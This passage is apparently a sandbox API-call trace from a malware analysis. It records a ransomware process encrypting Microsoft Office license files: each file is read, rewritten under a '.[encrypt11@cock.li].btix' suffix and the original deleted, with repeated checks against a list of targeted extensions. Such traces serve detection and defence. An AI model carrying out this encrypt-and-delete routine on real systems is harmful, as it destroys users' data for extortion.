office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0142.143] GetLastError () returned 0x0 [0142.143] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x512a, lpOverlapped=0x0) returned 1 [0142.180] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x5130, lpOverlapped=0x0) returned 1 [0142.181] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.181] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x106, lpOverlapped=0x0) returned 1 [0142.181] SetEndOfFile (hFile=0x4b4) returned 1 [0142.181] CloseHandle (hObject=0x4b4) returned 1 [0142.182] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.182] SetEndOfFile (hFile=0x4a0) returned 1 [0142.184] CloseHandle (hObject=0x4a0) returned 1 [0142.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0142.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.185] lstrlenW (lpString=".doc") returned 4 [0142.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.185] lstrlenW (lpString=".docx") returned 5 [0142.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.185] lstrlenW (lpString=".pdf") returned 4 [0142.185] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString=".xls") returned 4 [0142.186] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString=".xlsx") returned 5 [0142.186] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.186] lstrlenW (lpString=".ppt") returned 4 [0142.186] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.186] lstrlenW (lpString=".zip") returned 4 [0142.186] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString=".rar") returned 4 [0142.186] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString=".bz2") returned 4 [0142.186] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString=".7z") returned 3 [0142.186] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.186] lstrlenW (lpString=".dbf") returned 4 [0142.186] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.186] lstrlenW (lpString=".1cd") returned 4 [0142.186] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.187] lstrlenW (lpString=".jpg") returned 4 [0142.187] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.187] lstrlenW (lpString=".doc") returned 4 [0142.187] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".docx") returned 5 [0142.187] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.187] lstrlenW (lpString=".pdf") returned 4 [0142.187] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".xls") returned 4 [0142.187] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".xlsx") returned 5 [0142.187] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.187] lstrlenW (lpString=".ppt") returned 4 [0142.187] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.187] lstrlenW (lpString=".zip") returned 4 [0142.187] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".rar") returned 4 [0142.187] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".bz2") returned 4 [0142.187] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString=".7z") returned 3 [0142.187] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.187] lstrlenW (lpString=".dbf") returned 4 [0142.187] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.188] lstrlenW (lpString=".1cd") returned 4 [0142.188] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0142.188] lstrlenW (lpString=".jpg") returned 4 [0142.188] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.188] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.188] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0142.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.188] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11579) returned 1 [0142.189] CloseHandle (hObject=0x4a0) returned 1 [0142.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0142.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.189] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.189] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0142.190] GetLastError () returned 0x0 [0142.190] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0142.195] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0142.196] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.196] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10c, lpOverlapped=0x0) returned 1 [0142.196] SetEndOfFile (hFile=0x4b4) returned 1 [0142.196] CloseHandle (hObject=0x4b4) returned 1 [0142.197] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.197] SetEndOfFile (hFile=0x4a0) returned 1 [0142.199] CloseHandle (hObject=0x4a0) returned 1 [0142.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0142.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.200] lstrlenW (lpString=".doc") returned 4 [0142.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".docx") returned 5 [0142.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.201] lstrlenW (lpString=".pdf") returned 4 [0142.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".xls") returned 4 [0142.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".xlsx") returned 5 [0142.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.201] lstrlenW (lpString=".ppt") returned 4 [0142.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString=".zip") returned 4 [0142.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".rar") returned 4 [0142.201] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".bz2") returned 4 [0142.201] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString=".7z") returned 3 [0142.201] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString=".dbf") returned 4 [0142.201] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString=".1cd") returned 4 [0142.201] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString=".jpg") returned 4 [0142.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.201] lstrlenW (lpString=".doc") returned 4 [0142.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".docx") returned 5 [0142.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.202] lstrlenW (lpString=".pdf") returned 4 [0142.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".xls") returned 4 [0142.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".xlsx") returned 5 [0142.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.202] lstrlenW (lpString=".ppt") returned 4 [0142.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.202] lstrlenW (lpString=".zip") returned 4 [0142.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".rar") returned 4 [0142.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".bz2") returned 4 [0142.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString=".7z") returned 3 [0142.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.202] lstrlenW (lpString=".dbf") returned 4 [0142.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.202] lstrlenW (lpString=".1cd") returned 4 [0142.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0142.202] lstrlenW (lpString=".jpg") returned 4 [0142.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.202] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.203] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28 [0142.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.203] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19924) returned 1 [0142.203] CloseHandle (hObject=0x4a0) returned 1 [0142.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0142.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.204] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.204] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0142.204] GetLastError () returned 0x0 [0142.204] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0142.219] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0142.220] ReadFile (in: hFile=0x4a0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.220] WriteFile (in: hFile=0x4b4, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10c, lpOverlapped=0x0) returned 1 [0142.220] SetEndOfFile (hFile=0x4b4) returned 1 [0142.220] CloseHandle (hObject=0x4b4) returned 1 [0142.220] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.221] SetEndOfFile (hFile=0x4a0) returned 1 [0142.223] CloseHandle (hObject=0x4a0) returned 1 [0142.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0142.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.224] lstrlenW (lpString=".doc") returned 4 [0142.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".docx") returned 5 [0142.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.224] lstrlenW (lpString=".pdf") returned 4 [0142.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".xls") returned 4 [0142.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".xlsx") returned 5 [0142.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.224] lstrlenW (lpString=".ppt") returned 4 [0142.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.224] lstrlenW (lpString=".zip") returned 4 [0142.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".rar") returned 4 [0142.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".bz2") returned 4 [0142.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.224] lstrlenW (lpString=".7z") returned 3 [0142.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.225] lstrlenW (lpString=".dbf") returned 4 [0142.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.225] lstrlenW (lpString=".1cd") returned 4 [0142.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.225] lstrlenW (lpString=".jpg") returned 4 [0142.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.375] lstrlenW (lpString=".doc") returned 4 [0142.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".docx") returned 5 [0142.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.375] lstrlenW (lpString=".pdf") returned 4 [0142.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".xls") returned 4 [0142.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".xlsx") returned 5 [0142.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.375] lstrlenW (lpString=".ppt") returned 4 [0142.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.375] lstrlenW (lpString=".zip") returned 4 [0142.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".rar") returned 4 [0142.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".bz2") returned 4 [0142.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString=".7z") returned 3 [0142.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.375] lstrlenW (lpString=".dbf") returned 4 [0142.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.375] lstrlenW (lpString=".1cd") returned 4 [0142.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0142.376] lstrlenW (lpString=".jpg") returned 4 [0142.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.376] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.376] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0142.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.574] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6794) returned 1 [0142.574] CloseHandle (hObject=0x3bc) returned 1 [0142.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0142.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.575] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.575] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.575] 